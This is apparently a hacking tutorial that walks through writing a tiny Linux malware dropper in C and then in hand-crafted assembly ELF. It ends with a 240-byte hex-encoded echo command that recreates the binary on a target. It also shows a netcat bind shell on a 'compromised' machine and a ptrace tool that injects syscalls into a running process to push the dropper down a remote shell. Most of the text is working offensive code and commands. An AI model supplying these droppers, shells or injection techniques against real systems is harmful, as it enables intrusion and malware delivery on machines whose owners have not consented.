So far we have been much focused on reverse engineering, but everybody knows that in order to become a hacker you have to master much more than that. So in this installment we will be moving forward and making use of all the stuff we had learned till now in order to get started with network programming.
We will start with something very simple but that will allow us to use everything we had already learnt at the same time that we dive into networking. For this purpose we will be writing a dropper.
A dropper is a program, usually very small, so it gets more chances to get transferred to a remote machine and whose goal is to download other files, usually bigger parts of some malware too big to fit as part of an exploit.
This may sound cool to some of you, but we are basically going to write a program to transfer files between two machines. And we will try to make this program very, very small. Hopefully this will throw some light about that question on which language you should use to write malwareâŚ
A simple dropper
Letâs start writing our dropper in C. The program is going to be very simple. We will create a TCP connection to some fixed machine and write to stdout anything received from that connection.
In order to test the dropper in your machine, you will need two terminals. One will be play the role of the malware server, i.e. the machine containing a full-fledge malware we want to transfer to the compromised machine. For our purpose this will just be:
malware_server $ cat /usr/bin/xeyes | nc -l -p $((1111))
This line simulates a TCP server listening on port 0x1111 that will send the program xeyes to any one connecting to it. To test this, open another terminal and run the following command:
compromised_machine $ rm k; nc localhost $((1111)) > k; chmod +x k; ./k
You can try this line and get those fancy eyes up following your mouse on the screen.
So, what we are going to write is a program to do what nc does in the example above. Yes, you can use nc or similar tools whenever possible, but we are here trying to be wannabees⌠and for that we need to be able to build any single tool we will every use⌠thatâs the difference between script kids and hackers⌠I think 
Minimal C Dropper
So letâs take a look to a minimal dropper, and letâs use that code to introduce new C language concepts and start our journey. The code is this:
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define BUF_SIZE 1024
int main (void) {
int s, l;
unsigned long addr = 0x0100007f11110002; // Define IP the hacker way :)
unsigned char buf[BUF_SIZE];
if ((s = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) return -2;
if (connect (s, (struct sockaddr*)&addr, 16) < 0) return -3;
while (1) {
if ((l = read (s, buf, BUF_SIZE) ) <= 0) break;
write (1, buf, l);
if (l < BUF_SIZE) break;
}
close (s);
return 0;
}
Not bad. You already know everything about the header files. the main function and how to declare basic integer variables of different sizes, so I will not insist on this anymore. The rest of the code only contains stuff you already know, except for the while loop. But we will get to it eventually.
So the first thing we find is a call to a function named socket. This is actually a system call and in that sense it is not different of the _exit or write system call we were using in the previous instalments. This just do something different.
The socket system call allows us to create a socket. In the same way than a file allows us to use the hard drive (and I know we havenât talked about this yet), a socket is the way the operating system give to us in order to use network interface.
The socket can be of different types. Just like the files that can be text or binary files, sockets also have different types. For now, and in order to keep this simple, we will just care about internet sockets or, being more pro TCP/IP. The first and third parameter we pass to socket defines that. The second parameter indicates the type of connection we want. It can be a STREAM connection like in this code, or a DGRAM connection (actually this is used for connection-less communications). Without going into protocol details, a SOCK_STREAM allows us to talk TCP, while a SOC_DGRAM` allows us to speak âUDPâ.
Therefore, the first code line in the program creates a path to the network hardware and also tell the operating system that we want to talk to a remote machine over the Internet and using TCP.
There are other types of Protocol Families and socket types. But for the time being, just pay attention to the second parameter and that will be enough to write a whole bunch of tools
Connecting
You may had noted that the type of our socket is `STREAM, so our communication will flow like a stream, but, before we can do that, we need to set where to connect this stream. Using technical jargon, TCP is an connection-oriented protocol, meaning than, before any data can be exchanged a connection needs to be established. Once established we can just write and read data from the socket and that data will go to the right machine automatically.
This is different to the DGRAM type where, there is no connection, and for each piece of data we want to send (this is called technically a datagram) we always need to indicate the destination.
In other words. TCP is like making a phone call and UDP is like sending a letter.
So, we need to make the call, and this is done with the connect system call. Yes. This is also a system call so we are still in our comfort zone.
As TCP is a so-called transport protocol it defines the network locations as network addresses and ports. In general a network address identifies a machine and a port a service within that machine. So, we need to specify an IP address and a port. In our case we will be using local host (127.0.0.1) and port 0x1111⌠the values we used at the very beginning of the text with our nc example.
In order to specify this, we would usually make use of a C structure, but we havenât talked about structures yet⌠Well we can briefly talk about them right now. A structure is a compound data type that allows us to pack together multiple simple datatypes. In general, everything we declare in a structure is stored in memory in sequence, that means that we can always access that memory using different ways.
In our example, we are not using the structure, but if we did, it will look like this:
struct ip_addr {
unsigned short family;
unsigned short port;
unsigned char ip[4];
}
When using the structure we can access the different fields using the identifier indicated inside the struct declaration. In this case, the whole structure is 8 bytes long so it fits in a long. And that is what we had done in our program.
0x0100007f11110002 -> 01 --> 01
00 --> 00
00 --> 00
7f --> 127
1111 --> Port
0002 --> Address Family
So both things are actually the same thing. However, note that for normal programs (those that are not that cool as this one we are writing right now), you shouldnât do this. Structures are there for good reasons, usually to ensure portability and make your program work with other protocol families, and addresses formats.
Anyway⌠that long number is all the information we need to connect to our malware server.
The last parameter to connect is the length of the structure passed as second parameter. Yes, it is 16 and not 8. The original structure, named struct sockaddr has a 8 bytes padding field. The size is required in order to support other protocols, where the machines or services are addressed in a different way and may need more or less space to get stored. Think for instance on Bluetooth where the devices are addressed using is BT address (kind of a MAC address).
So, the connect system call does all the TCP magic (send those SYNC and SYNC/ACK packets you may have heard about) and connects our socket (the one we created using socket) with the remote machine we specified in the address. At this point, anything we write in each of the ends of the connection will just get to the other side.
Save the data
Now we just need to read what the server is sending and drop it somewhere. Instead of opening a file and save the data directly there we had opted to write to stdout and let the shell redirection operations do the magic. Exactly as shown at the beginning with nc.
The code that does this is repeated here for the readers convenience:
while (1) {
if ((l = read (s, buf, BUF_SIZE) ) <= 0) break;
write (1, buf, l);
if (l < BUF_SIZE) break;
}
This is a while loop. Basically it repeats whatever is after the while (cond) while the condition is true. In the example above we have set what is known as an infinite loop. As the condition is always true, the block affected by the while will repeat forever⌠Well actually until we leave it with the break keyword.
With this information, and making use of our knowledge about the write system call from previous instalments, we can easily infer that the read system call will read data from the indicated file descriptor (in this case it is a socket so data will be read from the network) and stores it in the indicated buffer. It will try to read as many data as the third parameter specify. As all other system calls, it will return -1 in case of error. Otherwise read returns the number of bytes actually read. So we will be reading data from the network in blocks of BUF_SIZE bytes or less until there is nothing left (read will return 0 in that case) or an error occurs.
Then, the data we have just read we will write to stdout (remember file descriptor 1). The loop will finish whenever we read a block from the network with a size less than the designated buffer size.
Now we can compile our C program and test it using the setup we described earlier in this text.
In one console letâs launch the server:
malware_server $ cat /usr/bin/xeyes | nc -l -p $((0x1111))
In other console, letâs compile and launch our dropper. I have named it nwget_basic.c
compromised_machine $ make nwget_basic
compromised_machine $ rm k; ./nwget_basic > k; chmod +x k; ./k
If everything goes well, you should see those eyes staring at your mouse pointer
Shrinking the dropper
Sometimes getting a file into a machine is tricky. This may happen even with non security related scenarios. I have been in those cases were I need to transfer a file into a machine that does not have any tool to transfer files⌠Once I had ssh access to it but no scp. In general, if you can get to a shell in the machine there should be some way to get your files also there, but that is not always easy.
In other occasions, you just have a exploit that allows you to run a very small code, or transfer a few bytes. Anyway, in general, the smaller your dropper the better so we are going to shrink it as much as we could. And we already know how to do this, so I will just go quick with this. We will just substitute the system calls for assembly versions and get rid of the libc.
You can find the code in my github and try to recompile it yourself⌠or even better, you can try to write it based on what we discussed on Part II. Using this technique I manage to get my dropper down to 1.8Kb static binary (that means that I do not depend on any specific library whatsoever).
But we can do way better re-writing it in asm.
pwget (picoWget)
No, the name is not because of me. It is because the previous one was nwget or nanoWget, so we are going smaller this time. pwget is the direct asm translation of nwget and this is how it looks like:
section .text
global _start
_start:
push rbp
mov rbp, rsp
sub rsp, 1024 + 8 + 8 ; Read buffer + Socket + size
;; Variables
;; [rbp + 0x00] -> s (socket)
;; [rbp + 0x08] -> len (int)
;; [rbp + 0x10] -> buf (unsigned char)
;; Create socket
;; s = socket (PF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6);
mov rdi, 2 ; PF_INET 2
mov rsi, 1 ; SOCK_STREAM
mov rdx, 6 ; IPPROTO_TCP
mov r8, 10
call _socket
mov [rbp + 0x00], rax ; Store socket in stack
cmp rax, 0
jle error
;; connect (s [rbp+0], addr, 16)
mov rdi, rax
lea rsi, [rel addr]
mov rdx, 16
mov r8, 20
call _connect
test eax, eax
jl error
l0: ; Read loop
;; Read data from socket
;; _read (s = [rbp + 0], [rbp + 0x10], 1024);
mov rdi, [rbp + 0]
lea rsi, [rbp+0x10]
mov rdx, 1024
call _read
mov [rbp + 0x08], rax ; Store number of bytes read
cmp rax, 0
jle done
;; Write to stdout
;; _write (1, [rbp+0x10], [rbp+0x08])
mov rdi, 1
mov rdx, rax
call _write
cmp rax, 1024
jl done
jmp l0
done:
;; _close (s)
mov rdi, [rbp + 0x00] ;
call _close
mov rdi, 0 ; Success
call _exit
error:
mov rdi, 2
lea rsi, [rel msg]
mov rdx, 7
call _write
mov rdi, r9
add rdi, r8
call _exit
;; Syscalls
_read:
mov rax, 0
syscall
ret
_write:
mov rax, 1
syscall
ret
_socket:
mov rax, 41
syscall
ret
_connect:
mov rax, 42
syscall
ret
_close: mov rax, 3
syscall
ret
_exit: mov rax, 60
syscall
ret
addr dq 0x0100007f11110002
msg db "ERROR", 10,0
Despite the jX instruction everything should look very familiar and easy to understand to you. As I said this is the literal translation of the C program we had just discussed. The jX instruction performs jump based on the flag values. Flags get updated by the ALU whenever any logic or arithmetic operation is performer. The flags usually stored in a special register and each flag is a bit of that register. This way when using for instance the instruction cmp that allows us to compare two values, the zero flag will get activated when both values are equal and the sign flag will be activated depending on the result of the substraction of both values.
This way, after running a cmp instruction we can jump if the result of the comparison is less than with a jl or less than or equal with a jle⌠It is just that simple. Just look for the conditional jump instructions list for your processor and take a look to the available mnemonics.
This asm, once compiled and stripped goes down to 584 bytes. That is quite small.
Getting rid of everything else
Obviously our code is less than 500 bytes, so the file has still some information there that shouldnât be strictly necessary. If we run it through readelf we will see still some remaining information:
$ readelf -a pwget
$ readelf -a pget
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x400080
Start of program headers: 64 (bytes into file)
Start of section headers: 392 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 1
Size of section headers: 64 (bytes)
Number of section headers: 3
Section header string table index: 2
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .text PROGBITS 0000000000400080 00000080
00000000000000f6 0000000000000000 AX 0 0 16
[ 2] .shstrtab STRTAB 0000000000000000 00000176
0000000000000011 0000000000000000 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
l (large), p (processor specific)
There are no section groups in this file.
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
0x0000000000000176 0x0000000000000176 R E 0x200000
Section to Segment mapping:
Segment Sections...
00 .text
There is no dynamic section in this file.
There are no relocations in this file.
The decoding of unwind sections for machine type Advanced Micro Devices X86-64 is not currently supported.
No version information found in this file.
We can do better, completely crafting our ELF file. And this will bring us to fwget1
fwget (FemtoWget)
This has already been mentioned in the forum. You can refer to this to see what we are talking about and based on that, we will get something like this:
BITS 64
org 0x400000
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident
times 8 db 0
dw 2 ; e_type
dw 0x3e ; e_machine
dd 1 ; e_version
dq _start ; e_entry
dq phdr - $$ ; e_phoff
dq 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf32_Phdr
dd 1 ; p_type
dd 5 ; p_offset
dq 0
dq $$ ; p_vaddr
dq $$ ; p_paddr
dq filesize ; p_filesz
dq filesize ; p_memsz
dq 0x1000 ; p_align
phdrsize equ $ - phdr
;; Compile
;; nasm -f bin -o fwget fwget.asm; chmod +x fwget
;; https://0x00sec.org/t/the-price-of-scripting-dietlibc-vs-asm/791/7
_start:
push rbp
mov rbp, rsp
sub rsp, 1024 + 8 + 8 ; Read buffer + Socket + size
;; Variables
;; [rbp + 0x00] -> s (socket)
;; [rbp + 0x08] -> len (int)
;; [rbp + 0x10] -> buf (unsigned char)
;; Create socket
;; Find contants with: grep -R CONSTANT /usr/include
;; s = socket (PF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6);
mov rdi, 2 ; PF_INET 2
mov rsi, 1 ; SOCK_STREAM
mov rdx, 6 ; IPPROTO_TCP
call _socket
mov [rbp + 0x00], rax
cmp rax, 0
jle error
;; connect (s [rbp+0], addr, 16)
mov rdi, rax
;; mov rsi, 0x8c0aa8c011110002
;; mov rsi, 0x0100007f11110002
lea rsi, [rel addr]
mov rdx, 16
call _connect
test eax, eax
jl error
l0: ; Read loop
;; Read data from socket
;; _read (s = [rbp + 0], [rbp + 0x10], 1024);
mov rdi, [rbp + 0]
lea rsi, [rbp+0x10]
mov rdx, 1024
call _read
mov [rbp + 0x08], rax ; Store number of bytes read
cmp rax, 0
jle done
;; Write to stdout
;; _write (1, [rbp+0x10], [rbp+0x08])
mov rdi, 1
mov rdx, rax
call _write
cmp rax, 1024
jl done
jmp l0
done:
;; _close (s)
mov rdi, [rbp + 0x00] ;
call _close
mov rdi, 0 ; Success
call _exit
error:
;; mov rdi, 2
;; lea rsi, [rel msg]
;; mov rdx, 7
;; call _write
mov rdi, -1
call _exit
;; Syscalls
_read:
mov rax, 0
jmp _do_syscall
_write:
mov rax, 1
jmp _do_syscall
_socket:
mov rax, 41
jmp _do_syscall
_connect:
mov rax, 42
jmp _do_syscall
_close:
mov rax, 3
jmp _do_syscall
_exit:
mov rax, 60
jmp _do_syscall
_do_syscall:
syscall
ret
addr dq 0x0100007f11110002
msg db "ERROR", 10,0
filesize equ $ - $$
The code is identical to pwget but we have added the ELF metadata manually and also removed the .data section and added the data we need directly on the .text segment. When compiled the program goes down to 327 bytes. What is very good⌠but we can do better
Iteration 2
For starters letâs remove the error checking for the socket system call. Sure it may fail, but that is very unlikely so that is a reasonable risk. We will also store the socket in a register instead of in the stack. We have plenty of registers that we are not using, so letâs put them to work. We will use r8 for this purpose and, therefore all references to [rbp + 0x00] will be gone.
We will also use the 32bits version of some registers in some operations. Opcodes involving 32bits registers are shorter. For instance:
cmp rax, 0 -> 48 83 f8 00
cmp eax, 0 -> 83 f8 00
And also combine this with classical optimisations like using xor to set register to zero instead of mov
mov rdi,0x0 --> 48 c7 c7 00 00 00 00
||
\/
xor rdi,rdi --> 48 31 ff
||
\/
xor edi,edi --> 31 ff
Using this tricks we made the binary go down to 304 bytes⌠but we can do better
Iteration 3
For iteration 3 we are going to remove unneeded code. Actually it is not unneeded and in the general case is code that has to be there. For this specific case were our objective is to make the program as small as we can, we can overlook this.
We are removing in this iteration:
- Error code check for the
connectsystem call⌠Basically in this case it doesnât matter if the program fails in an ordered way or it just doesnât work. The overall result is the same -
closesyscall in the socket. All file descriptors are closed automatically by the OS when the process ends, so we can also save that one.
Regarding the code, we optimised the way rax is set for the different syscalls.
mov rax, 41 -> 48 c7 c0 29 00 00 00
||
\/
xor eax,eax -> 31 c0
add eax,41 -> 83 c0 29
With this changes we have gone down to 273 bytes⌠But we can do better
Iteration 4
In the iteration 4 we go even more aggressive. Letâs take a look to the changes
First, we reuse the 8 bytes reserved in the ELF header to add the initial code instructions. Something like this:
BITS 64
org 0x400000
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident
_start:
push rbp ; 55
mov rbp, rsp ; 48 89 e5
xor esi,esi
jmp _start1 ; eb XX
dw 2 ; e_type
dw 0x3e ; e_machin
dq _start ; e_entry
As you can see, we can actually use only 6 bytes in the header as the last 2 are needed to jump into the rest of the code
We also removed the exit code⌠as we do not really care in this case and changed some instructions to use 32bits registers, saving a few bytes.
With this changes we go down to 263 bytes. As you can imagine from this point on, we are just saving a few bytes in each iteration, but letâs see how far can we get.
Iteration 5
If you have been following this series you should be familiar with the concept of stack frame. You may remember that we mentioned how useful it is, but that it is not always neededâŚWell, this is one of those cases.
So, in this iteration we remove the stack frame of our program. Other than that, we just applied some minor tweaks here and there. This is how the final version looks like
BITS 64
;;; ELF header.... we make use of the 8 bytes available in the header
org 0x400000
BUF_SIZE: equ 1024
ehdr: ; Elf64_Ehdr
db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident
_start:
xor edi,edi ; 31 ff - Sets EDI to 0
inc edi ; ff c7 - Sets EDI to 1
push rdi ; 57
pop rsi ; 5e - Sets RSO to 1
jmp _start1 ; eb XX
dw 2 ; e_type
dw 0x3e ; e_machine
dd 1 ; e_version
dq _start ; e_entry
dq phdr - $$ ; e_phoff
dq 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf32_Phdr
dd 1 ; p_type
dd 5 ; p_offset
dq 0
dq $$ ; p_vaddr
dq $$ ; p_paddr
dq filesize ; p_filesz
dq filesize ; p_memsz
dq 0x1000 ; p_align
phdrsize equ $ - phdr
;; Compile
;; nasm -f bin -o fwget fwget.asm; chmod +x fwget
_start1:
inc edi ; Set EDI to 2
mov edx, 6 ; IPPROTO_TCP
;; socket (AF_INET=2, SOCK_STREAM = 1, IPPROTO_TCP=6)
call _socket
mov ebx, eax ; Store socket on ebx
;; It is unlikely that the socket syscall will fail. No check for errors
;; connect (s [rbp+0], addr, 16)
mov edi, eax ; Saves 1 byte
lea rsi, [rel addr]
add edx,10
call _connect
;; Just skip error check... if it fails is not gonna work anyway
lea rsi, [rsp] ; Just use the stack as buffer.... we should decrement it
l0: ; Read loop
;; Read data from socket
;; _read (s = rbx, buf= [rsp], 1024);
mov edi, ebx
mov edx, BUF_SIZE
call _read
cmp eax, 0
jle done
;; Write to stdout
;; _write (1, [rsp], rax)
xor edi,edi
inc edi ; rdi = 1
mov edx, eax ; get len from _read
call _write
cmp eax, BUF_SIZE
jl done
jmp l0
done:
;; _close (s)
;; File descriptors get closed automatically when the process dies
;; We do not care about exit code
call _exit
;; Syscalls
_read:
xor eax,eax
jmp _do_syscall
_write:
xor eax,eax
inc eax
jmp _do_syscall
_socket:
;; mov rax, 41
xor eax,eax
add al, 41
jmp _do_syscall
_connect:
;; mov rax, 42
xor eax,eax
add al, 42
jmp _do_syscall
_close:
;; mov rax, 3
xor eax,eax
add al, 3
jmp _do_syscall
_exit:
xor eax,eax
add al, 60
_do_syscall:
syscall
ret
addr dq 0x0100007f11110002
filesize equ $ - $$
This version is 240 bytes long and it is suitable to be dropped using a single echo.
echo -n -e "\\x7f\\x45\\x4c\\x46\\x02\\x01\\x01\\x00\\x31\\xff\\xff\\xc7\\x57\\x5e\\xeb\\x68\\x02\\x00\\x3e\\x00\\x01\\x00\\x00\\x00\\x08\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x38\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\xf0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xc7\\xba\\x06\\x00\\x00\\x00\\xe8\\x4b\\x00\\x00\\x00\\x89\\xc3\\x89\\xc7\\x48\\x8d\\x35\\x59\\x00\\x00\\x00\\x83\\xc2\\x0a\\xe8\\x3e\\x00\\x00\\x00\\x48\\x8d\\x34\\x24\\x89\\xdf\\xba\\x00\\x04\\x00\\x00\\xe8\\x1e\\x00\\x00\\x00\\x83\\xf8\\x00\\x7e\\x14\\x31\\xff\\xff\\xc7\\x89\\xc2\\xe8\\x12\\x00\\x00\\x00\\x3d\\x00\\x04\\x00\\x00\\x7c\\x02\\xeb\\xdb\\xe8\\x1c\\x00\\x00\\x00\\x31\\xc0\\xeb\\x1c\\x31\\xc0\\xff\\xc0\\xeb\\x16\\x31\\xc0\\x04\\x29\\xeb\\x10\\x31\\xc0\\x04\\x2a\\xeb\\x0a\\x31\\xc0\\x04\\x03\\xeb\\x04\\x31\\xc0\\x04\\x3c\\x0f\\x05\\xc3\\x02\\x00\\x11\\x11\\x7f\\x00\\x00\\x01" > fwget; chmod +x fwget
In other words, it is small enough to be typed manually :). In case some compressor is available on the target machine a few more bytes could be saved, but not much more.
Final word about the dropper
As you may have noticed, this dropper connects to a hard-coded machine. Be free to add some extra code to process command-line arguments and made this value a parameter (the command-line parameters are passed to _start in the stack), but that will just increase the size of our dropper.
You can easily recompile your dropper with a new IP/Port or just write a small program/script to patch the binary. This Iâll leave as an exercise for the reader.
Dropping a Dropper like a pro
At this point, we are done with this lesson, but as this was a little bit light, letâs add a bit of coolness. Yes, sure, we can drop our dropper just pasting the previous echo command in our interactive console, or redirecting the file using whatever tool we already use to get into our interactive session. But, letâs face it. That is a pretty boring way of doing it.
So, what we are going to do is to attach to the interactive shell program (in this example we will be using nc), and drop our commands directly on the open socket to the remote machine. In order to figure out which socket you need to write to, we can check /proc/PID/fd. Letâs setup our environment.
Suppose we have got access to machine target and started a remove shell using nc.openbsd (the other one does not have the flag -e). Something like this:
hacker@target $ nc -e /bin/bash -l -p 1234
Now, from the hackers machine we can start a remote shell session like this:
hacker@hackerbox $ nc target 1234
At this point, we have a TCP connection to machine target going on. If we now get the pid can check the open file descriptors for this process:
hacker@hackerbox $ ps ax | grep "nc target" | head -1
8095 pts/37 S+ 0:00 nc target 1234
hacker@hackerbox $ ls -l /proc/8095/fd
total 0
lrwx------ 1 pico pico 64 Sep 12 11:25 0 -> /dev/pts/37
lrwx------ 1 pico pico 64 Sep 12 11:25 1 -> /dev/pts/37
lrwx------ 1 pico pico 64 Sep 12 11:25 2 -> /dev/pts/37
lr-x------ 1 pico pico 64 Sep 12 11:25 3 -> 'pipe:[45281146]'
l-wx------ 1 pico pico 64 Sep 12 11:25 4 -> 'pipe:[45281146]'
lrwx------ 1 pico pico 64 Sep 12 11:25 5 -> 'socket:[60870195]'
Here we can see the three first file descriptors associated to the pseudoterminal, namely: stdin, stdout and stderr. Then a pipe what Iâm not sure why it is created for, but it would be a nice exercise to check it out.
Finally, we can see that file descriptor 5 is our socket⌠So now we know where to write our stuff.
Attaching to the process. Meeting ptrace
It is time to start writing our cool tool. It will attach to any process as a debugger and write some data to a given file descriptor within that process. The way to achieve this is using the system call ptrace.
Again, the program may look complex at first glance, but it is just a basic sequence of system calls being executed sequentially⌠Actually it is just one single system call (ptrace) being executed with different parameters.
I will not put all the code here. You can find it on my github repository. Here I will just include the relevant parts of the program.
So, the first thing we have to do, as indicated before is to get attached to the indicated process:
_pid = atoi (argv[1]);
printf ("+ Attaching to process %ld\n", _pid);
if ((ptrace (PTRACE_ATTACH, _pid, NULL, NULL)) < 0)
perror ("ptrace_attach:");
printf ("%s", " ..... Waiting for process...\n");
wait (&status);
The atoi function at the beginning allows us to convert a string (Ascii) to an number (Integer)(AsciiTOInteger -> atoi). Yes, we are passing the pid to attach to as a parameter to our program. Then we just find the ptrace system call being invoked with the request PTRACE_ATTACH that allows us to get attached to the process indicated by the second parameter. Parameters 3 and 4 are not used for this request.
After issuing this request, we need to wait for the process to stop and give us back the control. This we do using the system call wait.
At this point we have full access to the process and we can do whatever we want with it.
Note: You need to have enough permissions to be able to attach to a running process
Preparing code injection
Now we have to do some tasks to be able to execute some code from within the process being controlled. The first thing we do is to retrieve the current registers values. We will be using these values to run our code but also, we want to restore everything to the previous state when we are done, so our remote shell session continues working normally.
if ((ptrace (PTRACE_GETREGS, _pid, 0, ®s)) < 0)
perror ("ptrace_get_regs:");
memcpy (®s_cpy, ®s, sizeof (struct user_regs_struct));
Pretty straight forward isnât it?. After getting the registers we made a copy that we will be using during the clean-up to get everything as it was before we break into the process.
The other thing we have to do is to save the current instruction being executed. Ok, this looks like a good time to further explain what we are going to do.
In order to write into a file descriptor, we have to issue the write system call. As we know, to run a system call we just need to set our registers and then run the syscall instruction. We can deal with the registers separately using the PTRACE_GETREGS (yes, sure, there is a PTRACE_SETREGS also, so we are done there), but we need to run the syscall instruction. For doing that we have 2 options:
- We scan the memory looking for the instruction and set
RIPto point there so when we re-start the process that instruction get executed⌠- Or we just insert the
syscallinstruction at whatever place. In that case, we need to store the previous value at that position, in order to restore it once our system call has been executed.
We chose the second option, so we need to get the current opcode and overwrite it:
if ((opcode = ptrace (PTRACE_PEEKTEXT, _pid, regs.rip, 0)) < 0)
perror ("retrieve opcode:");
(...)
ptrace (PTRACE_POKETEXT, _pid, regs.rip, 0x050f050f050f050f);
Also pretty straightforward. We use PTRACE_PEEKTEXT to read the current opcode (the one RIP is pointing to, and then we inject our syscall instruction (0x05 0x0f). To be honest I didnât bother to figure out, if the opcodes should be in the lower part of the long or in the high⌠I just filled the whole 8 bytes with the opcode to be sure. Anyways, ptrace will write the 8 bytesâŚ
Allocating a buffer and filling it
We are almost ready to run our write system call. We just need a buffer to hold the data we want to send through the socket.
Again, we can do this in many different ways:
- We can overwrite part of the
textsegment with our data and then restore it as we have done with the opcode in the previous section. - Doing something similar on the
datasegment - Actually allocate memory using
brkand then release it - Or just use the stack
So, we went for the last option as it was the simplest. We just make some room in the stack to be sure we do not overwrite any previous data in there when we write our data. We do not need to do anything else, at the end of the process, when we restore the original register values, the stack pointer will go back to the right position and all the memory we used will immediately be recover.
We wrote a simple function to poke arbitrary strings in the stack. The function looks like this:
int cpy_str (pid_t _pid, char *str, unsigned long long int *p) {
int i;
int len = strlen (str);
int len1 = (len / 8) + 1;
char *aux = malloc (len1 * 8);
unsigned long long int *d = (unsigned long long int*)aux;
printf ("!! Reallocating %d to %d bytes\n", len, len1);
memset (aux, 0, len1);
strcpy (d, str);
for (i = 0; i < len1 + 1; i++) {
if ((ptrace (PTRACE_POKEDATA, _pid, p, *d)) < 0) perror ("POKE Stack:");
p++; d++;
}
free (aux);
return len;
}
The function just copies a given string into a given address. But as we have to do this in blocks of 8 bytes, I have just reallocated a new buffer adjusted to 8 bytes boundary and used it, instead of having extra checks in the loop.
The for loop in the code above is like a compressed form of while loop.
for (i = 0; i < len1; i++) { (...) }
is equivalent to
i = 0;
while (i < len1) {
(...)
i++;
}
Function memset and strcpy allow us to initialise a given memory region with a value or copy a memory buffer into another. strcpy work on C strings that are delimited by a tailing \0. In this case that is fine for us, otherwise we should determine the size ourselves and use memcpy instead.
Sending the data
Now, everything is setup to send our data through the socket we had already identified. We had overwrite the current instruction to become a syscall. We have our buffer in the stack. So, now we just need to set our registers up and let the process continue execution.
regs.rax = 1; // Write syscall
regs.rdi = 5; // socket (the one we identified at /proc/PID/fd
regs.rsi = regs.rsp; // Buf in the stack
regs.rdx= slen; // Len of buffer to write
if ((ptrace (PTRACE_SETREGS, _pid, 0, ®s)) < 0)
perror ("ptrace_set_regs:");
if ((ptrace (PTRACE_SINGLESTEP, _pid, 0,0)) < 0) perror ("Run syscallL");
wait (&status);
if ((ptrace (PTRACE_SINGLESTEP, _pid, 0,0)) < 0) perror ("Run syscallL");
wait (&status);
So, we set our registers. See it as a bunch of movs, but we can just set all of them at once using PTRACE_SETREGS. Then we use the PTRACE_SINGLESTEP to run our instruction and wait to get control back from the process.
Here I have to say that I havenât figured our yet why I need to call PTRACE_SINGLESTEP twice. If anybody know, let us all know in the comments.
Cleaning up
Now the buffer has been sent to the remote machine. We just need to send the echo command shown above to Drop the Dropper in the remote machine.
Finally, we just want to clean up, so our shell session keeps going normally. If we just stop here, nc will likely crash. The clean up code is also straightforward:
if ((ptrace (PTRACE_POKETEXT, _pid, regs_cpy.rip, opcode)) < 0)
perror ("Restore opcode:");
if ((ptrace (PTRACE_SETREGS, _pid, 0, ®s_cpy)) < 0)
perror ("ptrace_set_regs:");
if ((ptrace (PTRACE_DETACH, _pid, NULL, NULL)) < 0)
perror ("ptrace_deattach:");
wait (&status);
The first thing we do is to restore the original opcode we override with our own syscall opcodes. Note that we are now using the copy of the registers we made at the beginning, so everything will go to the right place despite of how much we could have messed around while tracing the process.
Then we restore the registers and everything should be fine to get back to the point it was before we attached to the process. Now we just need to detach from the process and it will just keep running normally.
Conclusions
In this part we have worked on the concept we already know and applied it to the case of building a dropper. We have lightly touched the field of network programming and we ended up introducing the basics about writing debuggers.
Most of what we have seen in this part is pretty similar to stuff you may find in the real world. Take a look to this post specially to the paper linked at the end about Hajime.
Did you made the dropper smaller?. Have you used other ideas to shrinking it?. Let us know. Any comment, question and feedback is welcomed!
You can get all the code from my repo here: